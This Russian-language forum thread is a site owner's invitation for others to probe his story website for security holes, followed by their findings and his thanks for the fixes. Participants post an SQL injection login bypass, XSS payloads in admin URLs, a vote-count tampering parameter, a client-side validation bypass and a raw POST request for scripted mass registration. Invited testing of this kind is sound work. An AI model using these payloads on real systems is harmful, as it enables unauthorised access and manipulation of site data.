Проверте на надёжность

[dimankoresh]

http://concept.ds8.ru

буду благодарен за нахождение дыр в безопастности

[tor4)]

При регистрации.
Логин ' раs '

Вёдоёт

Warning: DOMDocument::loadXML() [domdocument.loadxml]: attributes construct error in Entity, line: 63 in /www_host/hosts/concept.ds8.ru/core_functions.php on line 76

Warning: DOMDocument::loadXML() [domdocument.loadxml]: Couldn't find end of Start Tag login line 63 in Entity, line: 63 in /www_host/hosts/concept.ds8.ru/core_functions.php on line 76

[dimankoresh]

При регистрации.
Логин ' раs '

Вёдоёт

Warning: DOMDocument::loadXML() [domdocument.loadxml]: attributes construct error in Entity, line: 63 in /www_host/hosts/concept.ds8.ru/core_functions.php on line 76

Warning: DOMDocument::loadXML() [domdocument.loadxml]: Couldn't find end of Start Tag login line 63 in Entity, line: 63 in /www_host/hosts/concept.ds8.ru/core_functions.php on line 76
это тебе что-то не повезло видать. сервак там щас глючит, только что зарегил такого без проблем

[BlackSun]

Та же фигня, регался с ником "><hr>


<br />
<b>Warning</b>: DOMDocument::loadXML() [<a href='domdocument.loadxml'>domdocument.loadxml</a>]: Unescaped '&lt;' not allowed in attributes values in Entity, line: 119 in <b>/www_host/hosts/concept.ds8.ru/core_functions.php</b> on line <b>76</b><br />
<br />
<b>Warning</b>: DOMDocument::loadXML() [<a href='domdocument.loadxml'>domdocument.loadxml</a>]: attributes construct error in Entity, line: 119 in <b>/www_host/hosts/concept.ds8.ru/core_functions.php</b> on line <b>76</b><br />
<br />
<b>Warning</b>: DOMDocument::loadXML() [<a href='domdocument.loadxml'>domdocument.loadxml</a>]: Couldn't find end of Start Tag login line 119 in Entity, line: 119 in <b>/www_host/hosts/concept.ds8.ru/core_functions.php</b> on line <b>76</b><br />
<br />
<b>Warning</b>: DOMDocument::loadXML() [<a href='domdocument.loadxml'>domdocument.loadxml</a>]: Opening and ending tag mismatch: hr line 119 and site in Entity, line: 443 in <b>/www_host/hosts/concept.ds8.ru/core_functions.php</b> on line <b>76</b><br />
<br />
<b>Warning</b>: DOMDocument::loadXML() [<a href='domdocument.loadxml'>domdocument.loadxml</a>]: Premature end of data in tag site line 2 in Entity, line: 444 in <b>/www_host/hosts/concept.ds8.ru/core_functions.php</b> on line <b>76</b><br />

[tor4)]

Обращение к бд только при регистрации, что-ли?

[desTiny]

sql inject в логине:
логин: ' or '1'=1'
пасс: любой

Здрасте, админ)

add:
админка http://concept.ds8.ru/admin

[BlackSun]

XSS
http://concept.ds8.ru/admin/login.php?page="><script>alert()</script>&ide=
http://concept.ds8.ru/admin/login.php?page=&ide="><script>alert()</script>

[desTiny]

от имени админа у меня добавляются только пустые комменты

[Ershik]

http://concept.ds8.ru/erotic
http://concept.ds8.ru/avto

И прочеее

core_functions.php on line 76

Warning: DOMDocument::loadXML() [domdocument.loadxml]: Couldn't find end of Start Tag back line 56 in Entity, line: 56 in /www_host/hosts/concept.ds8.ru/core_functions.php on line 76

[BlackSun]

http://concept.ds8.ru/addvoce.php?story={id рассказа}&b=999999
Итого: рейтинг у рассказа - 999999 :D

[BlackSun]

В добавлении нового рассказа фильтрация только на стороне клиента, мона заслать оч длинный текст ..

было
<textarea class="add border" id="addvariant" onchange="validate('addvariant')" onkeyup="validate('addvariant')"></textarea>

стало
<textarea class="add border" id="addvariant"></textarea>

[desTiny]

http://concept.ds8.ru/addvoce.php?story={id рассказа}&b=999999
Итого: рейтинг у рассказа - 999999 :D
гы гы: http://concept.ds8.ru/addvoce.php?story={id рассказа}&b=-999999
и облом твоим стараниям))

[dimankoresh]

вроде всё поправил) спасибо за глюки, недосмотрел, если не лень проверте ещё разок)

[BlackSun]

http://concept.ds8.ru/erotic/comments_"><>

Warning: DOMDocument::loadXML() [domdocument.loadxml]: Unescaped '<' not allowed in attributes values in Entity, line: 50 in /www_host/hosts/concept.ds8.ru/core_functions.php on line 76

Warning: DOMDocument::loadXML() [domdocument.loadxml]: attributes construct error in Entity, line: 50 in /www_host/hosts/concept.ds8.ru/core_functions.php on line 76

Warning: DOMDocument::loadXML() [domdocument.loadxml]: Couldn't find end of Start Tag theway line 50 in Entity, line: 50 in /www_host/hosts/concept.ds8.ru/core_functions.php on line 76

Warning: DOMDocument::loadXML() [domdocument.loadxml]: StartTag: invalid element name in Entity, line: 50 in /www_host/hosts/concept.ds8.ru/core_functions.php on line 76

[dimankoresh]

http://concept.ds8.ru/erotic/comments_"><>
спасиб

[TR0J@N]

Регаем армию писателей)
POST http://concept.ds8.ru/registration HTTP/1.0
Accept: */*
Referer: http://concept.ds8.ru/registration
Accept-Language: ru
Content-Type: application/x-www-form-urlencoded
Proxy-Connection: Keep-Alive
User-Agent: Mozilla/4.0
Host: concept.ds8.ru
Content-Length: 127
Pragma: no-cache
Cookie: PHPSESSID=

login=ЛОГИН&pass=ПАРОЛЬ&pass2=ПАРОЛЬ&email=МЫЛО&capcha=&reg_in=%D0%A1%D0%BE%D1%85%D1%80%D0%B0%D0%BD%D0%B8% D1%82%D1%8C

[Isis]

Я чего-то натворил..
Регнулся под '+or+1=1/* и под '"/><script>alert(/1/)</script> и на главной теперь неверно ведуться ссылки на последние каменты, рассказы и прочее :)